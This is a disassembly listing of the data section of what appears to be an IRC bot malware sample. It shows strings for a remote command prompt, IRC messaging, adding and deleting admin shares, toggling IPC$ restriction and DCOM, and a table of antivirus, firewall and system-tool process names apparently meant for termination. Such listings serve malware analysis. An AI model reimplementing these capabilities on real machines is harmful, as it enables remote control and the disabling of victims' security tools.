aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419967+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419ADD:loc_419BFAo
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419ADD:loc_419BF3o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419ADD:loc_419BECo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419ADD:loc_419BE5o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419ADD:loc_419BDEo
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_419ADD:loc_419BC1o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419ADD:loc_419BBAo
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419ADD:loc_419BB3o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_419ADD+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_419ADD:loc_419B88o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419ADD:loc_419B81o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_419ADD:loc_419B7Ao
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419ADD:loc_419B70o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419ADD+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419ADD:loc_419B4Ao
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419ADD:loc_419B40o
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419ADD:loc_419B36o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_419ADD:loc_419B2Co
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419ADD:loc_419B22o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419ADD+3Bo
align 10h
dword_43C6C0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419C11+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43C6EC db 2Dh ; - ; DATA XREF: sub_419C11+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 8
dword_43C718 dd 7530h align 10h
off_43C720 dd offset aRegedit_exe ; DATA XREF: sub_419D3A:loc_419E00r
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_43C828
dd offset dword_43C81C
dd offset dword_43C810
dd offset dword_43C804
dd offset dword_43C7F8
dd offset dword_43C7EC
dd offset dword_43C7DC
dd offset dword_43C7D0
dd offset dword_43C7C4
dd offset dword_43C7B8
dd offset dword_43C7AC
dd offset dword_43C79C
dd offset dword_43C790
dd offset dword_43C780
dword_43C780 dd 72313169h, 346E3435h, 6578652Eh, 0dword_43C790 dd 6E757269h, 78652E34h, 65hdword_43C79C dd 75643364h, 74616470h, 78652E65h, 65hdword_43C7AC dd 65746172h, 6578652Eh, 0dword_43C7B8 dd 74617373h, 78652E65h, 65hdword_43C7C4 dd 736E6977h, 652E7379h, 6578hdword_43C7D0 dd 756E6977h, 652E6470h, 6578hdword_43C7DC dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_43C7EC dd 61656262h, 2E656C67h, 657865hdword_43C7F8 dd 696E6550h, 2E323373h, 657865hdword_43C804 dd 6B656574h, 2E736469h, 657865hdword_43C810 dd 4C42534Dh, 2E545341h, 657865hdword_43C81C dd 7663736Dh, 2E323362h, 657865hdword_43C828 dd 69737973h, 2E6F666Eh, 657865haPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .XPack0:0043C744o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .XPack0:0043C740o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .XPack0:0043C73Co
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .XPack0:0043C738o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .XPack0:0043C734o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .XPack0:0043C730o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .XPack0:0043C72Co
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .XPack0:0043C728o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .XPack0:0043C724o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .XPack0:off_43C720o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419D3A+181o
align 4
unk_43C8D8 db 2 ; DATA XREF: sub_419F5D:loc_419FEAo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 50h ; P
db 2, 72h, 2
db 6Fh ; o
db 2, 63h, 2
db 73h ; s
db 2, 3, 30h
db 31h ; 1
db 2Ch, 3, 31h
db 35h ; 5
db 5Dh, 3, 31h
aProcessListFai db ' process list failed',0
align 4
unk_43C914 db 2 ; DATA XREF: sub_419F5D+86o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 50h ; P
db 2, 72h, 2
db 6Fh ; o
db 2, 63h, 2
db 73h ; s
db 2, 3, 30h
db 31h ; 1
db 2Ch, 3, 31h
db 35h ; 5
db 5Dh, 3, 31h
aProcessListCom db ' process list complete',0
align 10h
dword_43C950 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2720250h
; DATA XREF: sub_419F5D+19o
dd 263026Fh, 30030273h, 31032C31h, 31035D35h, 26C0220h
dd 2730269h, 6E026974h, 2206702h, 6F720250h, 65026302h
dd 2730273h, 3A7365h
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A0FA+33o
unk_43C9A4 db 2Dh ; - ; DATA XREF: sub_41A181:loc_41A2B3o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43C9D4 db 2Dh ; - ; DATA XREF: sub_41A181+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_43C9FC db 2Dh ; - ; DATA XREF: sub_41A181:loc_41A267o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_43CA2C db 2Dh ; - ; DATA XREF: sub_41A2D6+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 10h
unk_43CA60 db 2Dh ; - ; DATA XREF: sub_41A2D6+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_43CA84 dd offset dword_43CABC ; DATA XREF: sub_41A4EB:loc_41A6A0r
; sub_41A4EB+1C3r ...
dword_43CA88 dd 0 dd offset dword_43CAB4
dd 0
dd offset dword_43CAB0
; ---------------------------------------------------------------------------
lodsb
retf 43h
; ---------------------------------------------------------------------------
dd offset dword_43CAA8
; ---------------------------------------------------------------------------
movsb
retf 43h
; ---------------------------------------------------------------------------
dd 5C3A44h
dword_43CAA8 dd 2444h, 5C3A43hdword_43CAB0 dd 2443h dword_43CAB4 dd 494D4441h, 244Ehdword_43CABC dd 24435049h, 2 dup(0)dword_43CAC8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB+2E7o
; sub_41A811+2DDo
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1Netapi32_dllC db '1 Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43CB10 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB+2D1o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1NetworkShares db '1 Network shares deleted.',0
align 10h
dword_43CB50 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB:loc_41A755o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToDelet db '1 Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43CB94 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB+263o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1ShareSDeleted db '1 Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_43CBD0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB:loc_41A6C5o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToDel_0 db '1 Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43CC14 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB+1D3o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1ShareSDelet_0 db '1 Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_43CC50 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB:loc_41A61Do
; sub_41A811:loc_41A93Fo
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1Advapi32_dllC db '1 Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43CC98 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB:loc_41A616o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToOpenI db '1 Failed to open IPC$ Restriction registry key.',0
align 10h
dword_43CCF0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB:loc_41A5FEo
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1RestrictedAcc db '1 Restricted access to the IPC$ Share.',0
align 10h
dword_43CD40 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB+10Co
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToRestr db '1 Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A4EB+EDo
; sub_41A811+EDo
align 4
dword_43CDA8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB+91o
; sub_41A811+91o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToOpenD db '1 Failed to open DCOM registry key.',0
dword_43CDF0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB:loc_41A55Eo
dd 72751F63h, 3026502h, 32C3130h, 33A3431h, 43442031h
dd 64204D4Fh, 62617369h, 2E64656Ch, 0
dword_43CE28 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A4EB+6Co
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1DisableDcomFa db '1 Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A4EB+54o
; sub_41A811+54o
align 10h
dword_43CE70 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811+2C5o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1NetworkShar_0 db '1 Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A811+22Fo
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A811+21Eo
dword_43CEB8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811:loc_41A9BEo
; sub_41A811:loc_41AA89o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToAddSS db '1 Failed to add ',27h,'%s',27h,' share.',0
dword_43CEF8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811+1A6o
; sub_41A811+271o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1ShareSAdded_ db '1 Share ',27h,'%s',27h,' added.',0
dword_43CF30 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811:loc_41A938o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToOpe_0 db '1 Failed to open IPC$ restriction registry key.',0
align 8
dword_43CF88 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811:loc_41A920o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1UnrestrictedA db '1 Unrestricted access to the IPC$ Share.',0
align 4
dword_43CFD8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811+108o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1FailedToUnres db '1 Failed to unrestrict access to the IPC$ Share.',0
align 10h
dword_43D030 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811:loc_41A884o
dd 72751F63h, 3026502h, 32C3130h, 33A3431h, 43442031h
dd 65204D4Fh, 6C62616Eh, 2E6465h
dword_43D064 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h
; DATA XREF: sub_41A811+6Co
dd 72751F63h, 3026502h, 32C3130h, 33A3431h
a1EnableDcomFai db '1 Enable DCOM failed.',0
align 10h
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AB47+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dword_43D0D8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41AD24+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AD24+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AD24+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AD24+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AD24+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AD24+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AD24+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AD24+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AD24+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AD24+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AD24+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AD24+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AD24+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AD24+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AD24+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AD24+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AD24+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AD24+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AD24+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AD24+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AD24+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AD24+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AD24+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AD24+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AD24+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AD24+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AD24+15o
align 8
dword_43D2E8 dd 2C353103h, 0B7035B30h, 2343003h, 1F790253h, 69741F73h
; DATA XREF: sub_41B0A1+297o
dd 46026E02h, 20B7036Fh, 55504302h, 25203A02h, 75343649h
dd 2E7A484Dh, 41520220h, 203A024Dh, 424B7325h, 746F7420h
dd 202C6C61h, 424B7325h, 65726620h, 2202E65h, 6B736944h
dd 25203A02h, 6F742073h, 2C6C6174h, 20732520h, 65657266h
dd 4F02202Eh, 203A0253h, 646E6957h, 2073776Fh, 28207325h
dd 252E6425h, 42202C64h, 646C6975h, 29642520h, 5302202Eh
dd 69647379h, 203A0272h, 202E7325h, 736F4802h, 6D616E74h
dd 203A0265h, 28207325h, 2E297325h, 75430220h, 6E657272h
dd 73552074h, 3A027265h, 2E732520h, 61440220h, 3A026574h
dd 2E732520h, 69540220h, 3A02656Dh, 2E732520h, 70550220h
dd 656D6974h, 25203A02h, 2E73h
dword_43D3D0 dd 4D3A6464h, 793A4D4Dh, 797979haCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B0A1:loc_41B205o
align 8
dword_43D3F8 dd 2C353103h, 0B7035B30h, 2343003h, 651F024Eh, 269741Fh
; DATA XREF: sub_41B355+ABo
dd 6F46026Eh, 220B703h, 65707954h, 25203A02h, 25282073h
dd 202E2973h, 20504902h, 72646441h, 2737365h, 7325203Ah
dd 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah, 2Eh
off_43D448 dd offset loc_412F4B+3 ; DATA XREF: sub_41B355:loc_41B3C9o
off_43D44C dd offset dword_4E414C ; DATA XREF: sub_41B355:loc_41B3C2o
dword_43D450 dd 6C616944h, 70752Dhdword_43D458 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_43D468 db 2 ; DATA XREF: .XPack0:loc_41B5D8o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 2, 56h, 2
db 69h ; i
db 73h, 69h, 2
db 74h ; t
db 2, 3, 30h
db 34h ; 4
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 34h
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43D4AC db 2 ; DATA XREF: .XPack0:loc_41B5D1o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 2, 56h, 2
db 69h ; i
db 73h, 69h, 2
db 74h ; t
db 2, 3, 30h
db 34h ; 4
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 34h
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43D4EC dd 35310302h, 25B302Ch, 91343003h, 2560203h, 2697369h
; DATA XREF: .XPack0:0041B5C1o
dd 30030274h, 31032C34h, 34033A34h, 2490220h, 611F766Eh
dd 64696C1Fh, 2550220h, 4C1F521Fh, 2Eh, 0
unk_43D528 db 2 ; DATA XREF: .XPack0:loc_41B5B4o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 34h, 91h
db 3
db 2, 56h, 2
db 69h ; i
db 73h, 69h, 2
db 74h ; t
db 2, 3, 30h
db 34h ; 4
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 34h
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43D578 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: .XPack0:0041B5ADo
dd 64657469h, 2Eh
dword_43D594 dd 2A2F2Ah, 2 dup(0)dword_43D5A0 dd 0E7C2250h align 10h
dword_43D5B0 dd 173Fh dd 9875h, 9873h
off_43D5BC dd offset sub_41CDB4 ; DATA XREF: sub_41BDF4r
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0CDh, 41h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0CDh, 41h, 0
dword_43D5C8 dd 1B3Fh dword_43D5CC dd 19930520h, 4 dup(0) ; sub_41D2B6+2o
off_43D5E0 dd offset sub_41BE32 ; DATA XREF: sub_41E0C9+1Cr
dword_43D5E4 dd 2 ; sub_423C91+46r ...
dd 10h, 0
off_43D5F0 dd offset off_43D5F0 ; DATA XREF: sub_41F016+Do
; sub_41F016+69o ...
off_43D5F4 dd offset off_43D5F0 ; DATA XREF: sub_41F016:loc_41F096r
; sub_41F016+89w ...
dd offset dword_43D608
dd offset dword_43D608
dword_43D600 dd 0FFFFFFFFh ; sub_41F15A:loc_41F1A7w
dd 0FFFFFFFFh
dword_43D608 dd 0F0h, 0F1h, 800h dup(0) ; .XPack0:0043D5FCo
off_43F610 dd offset off_43D5F0 ; DATA XREF: sub_41F15A+15r
; sub_41F15A+20w ...
dword_43F614 dd 1E0h ; sub_41BB83:loc_41BBBFr ...
off_43F618 dd offset word_43F622 ; DATA XREF: sub_41BD5E+23r
; sub_41BD5E:loc_41BDBFr ...
off_43F61C dd offset word_43F622 ; DATA XREF: sub_4272F4+18r
db 2 dup(0)
word_43F622 dw 20h ; DATA XREF: sub_425417+18r
; .XPack0:off_43F618o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43F824 dd 1 ; sub_41BD5E:loc_41BDAAr ...
byte_43F828 db 2Eh ; DATA XREF: sub_420BB0:loc_420EA4r
; sub_420BB0+311r ...
align 4
dd 1
off_43F830 dd offset aNull_1 ; DATA XREF: sub_41FD3F:loc_4200A3r
; sub_41FD3F+457r
; "(null)"
off_43F834 dd offset aNull_0 ; DATA XREF: sub_41FD3F+259r
; "(null)"
byte_43F838 db 1 ; DATA XREF: sub_420549+E1r
db 2, 4, 8
align 10h
dword_43F840 dd 3A4h dword_43F844 dd 82798260h, 21h, 0dword_43F850 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43F930 dd 1 ; sub_420A7F+Co
dword_43F934 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43FA98 dd 0D2D0920h, 5Dh ; sub_420BB0:loc_421117o
dword_43FAA0 dd 5Dh, 0 dword_43FAA8 dd 14h off_43FAAC dd offset aExp ; DATA XREF: sub_421CC4:loc_421CE1r
; "exp"
dd 1Dh, 428860h, 1Ah, 42ED94h, 1Bh, 428858h, 1Fh, 428850h
dd 13h, 428848h, 21h, 428840h, 0Eh, 428838h, 0Dh, 428830h
dd 0Fh, 428828h, 10h, 428820h, 5, 428818h, 1Eh, 428814h
dd 12h, 428810h, 20h, 42880Ch, 0Ch, 428804h, 0Bh, 4287FCh
dd 15h, 4287F4h, 1Ch, 4287ECh, 19h, 4287E4h, 11h, 4287DCh
dd 18h, 4287D4h, 16h, 4287CCh, 17h, 4287C4h, 22h, 4287C0h
dd 23h, 4287BCh, 24h, 4287B8h
dbl_43FB80 dq 1.797693134862316e308 ; DATA XREF: sub_4219FF+B7r
; sub_4219FF:loc_421AE6r ...
dd 0
dd 0FFF80000h
dbl_43FB90 dq 1.797693134862316e308 ; DATA XREF: sub_4219FF+92r
; sub_4219FF:loc_421ABEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43FBA8 dt 2.3562723457267347066e313 ; DATA XREF: sub_421EAC+Dr
; sub_421EAC+1Fr
align 4
tbyte_43FBB4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421EAC+31r
align 10h
off_43FBC0 dd offset sub_422340 ; DATA XREF: sub_41CDCC+Fw
; sub_41FD3F+3AAr
off_43FBC4 dd offset sub_421FD5 ; DATA XREF: sub_41CDCC+5w
; sub_41FD3F+3E2r
off_43FBC8 dd offset sub_42203B ; DATA XREF: sub_41CDCC+14w
; sub_420BB0+430r
off_43FBCC dd offset sub_421F7B ; DATA XREF: sub_41CDCC+1Ew
; sub_41FD3F+3CBr
off_43FBD0 dd offset sub_422023 ; DATA XREF: sub_41CDCC+28w
off_43FBD4 dd offset sub_422340 ; DATA XREF: sub_41CDCC+32w
dd offset sub_424DDC
align 10h
dd offset sub_422BFC
off_43FBE4 dd offset sub_422BFC ; DATA XREF: sub_422C52+29r
dword_43FBE8 dd 0C0000005h ; sub_4234FA+11o ...
dword_43FBEC dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43FC60 dd 3 ; sub_426025+C8r
dword_43FC64 dd 7 ; sub_426025+CDr
dword_43FC68 dd 0Ah ; sub_426152+4r
dword_43FC6C dd 8Ch ; sub_4233B9+8Fw ...
dword_43FC70 dd 0FFFFFFFFh, 0A00h ; sub_41FC2A:loc_41FCE7o
dword_43FC78 dd 2 ; sub_423C91+28r
off_43FC7C dd offset aR6002FloatingP ; DATA XREF: sub_423C91+FCr
; sub_423C91+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 428B7Ch, 9, 428B50h, 0Ah, 428B2Ch, 10h, 428B00h
dd 11h, 428AD0h, 12h, 428AACh, 13h, 428A80h, 18h, 428A48h
dd 19h, 428A20h, 1Ah, 4289E8h, 1Bh, 4289B0h, 1Ch, 428988h
dd 78h, 428978h, 79h, 428968h, 7Ah, 428958h, 0FCh, 436F68h
dd 0FFh, 428948h
off_43FD08 dd offset dword_4DE900 ; DATA XREF: sub_423C91+1Bo
; sub_423FFE+55o
dd 0
dd offset dword_4DE900
dd 101h
dword_43FD18 dd 0FFFFFFFFh, 0 dd 1000h, 0
dword_43FD28 dd 3 dup(0) ; sub_420AE6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43FD48 dd 3 dup(0) ; sub_420AE6:loc_420B04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43FD78 dd 84h dup(0) dword_43FF88 dd 2 dup(0) dword_43FF90 dd 2694h ; sub_4216B4+46r
align 8
dword_43FF98 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43FFB0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43FFC8 dd 7080h ; sub_424EBC+5Ew ...
dword_43FFCC dd 1 ; sub_424EBC+8Bw ...
dword_43FFD0 dd 0FFFFF1F0h ; sub_424EBC+94w ...
dword_43FFD4 dd 545350h, 0Fh dup(0)dword_440014 dd 544450h, 0Fh dup(0)off_440054 dd offset dword_43FFD4 ; DATA XREF: sub_424EBC+BAr
; sub_424EBC+D9r ...
off_440058 dd offset dword_440014 ; DATA XREF: sub_424EBC+F4r
; sub_424EBC+11Br ...
align 10h
dword_440060 dd 0FFFFFFFFh ; sub_42511A+1Er ...
